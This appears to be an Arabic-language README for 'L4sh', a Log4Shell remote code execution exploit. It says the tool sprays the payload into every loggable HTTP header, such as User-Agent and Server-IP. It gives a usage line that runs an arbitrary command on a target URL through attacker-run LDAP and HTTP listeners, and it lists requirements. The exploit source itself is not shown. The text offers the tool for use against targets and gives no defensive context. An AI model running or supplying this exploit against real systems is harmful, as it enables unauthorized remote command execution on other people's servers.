L4sh

استغلال Log4Shell للتنفيذ عن بُعد (RCE)

استغلال مستقل تمامًا ولا يتطلب أي ملفات ثنائية من جهات خارجية. يقوم الاستغلال بحقن الحمولة في جميع ترويسات HTTP الممكنة التي يتم تسجيلها مثل X-Forwarding , Server-IP , User-Agent

الاستخدام

python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port

المتطلبات

• java-8-openjdk
• pip install -r requirements.txt
• python3.6+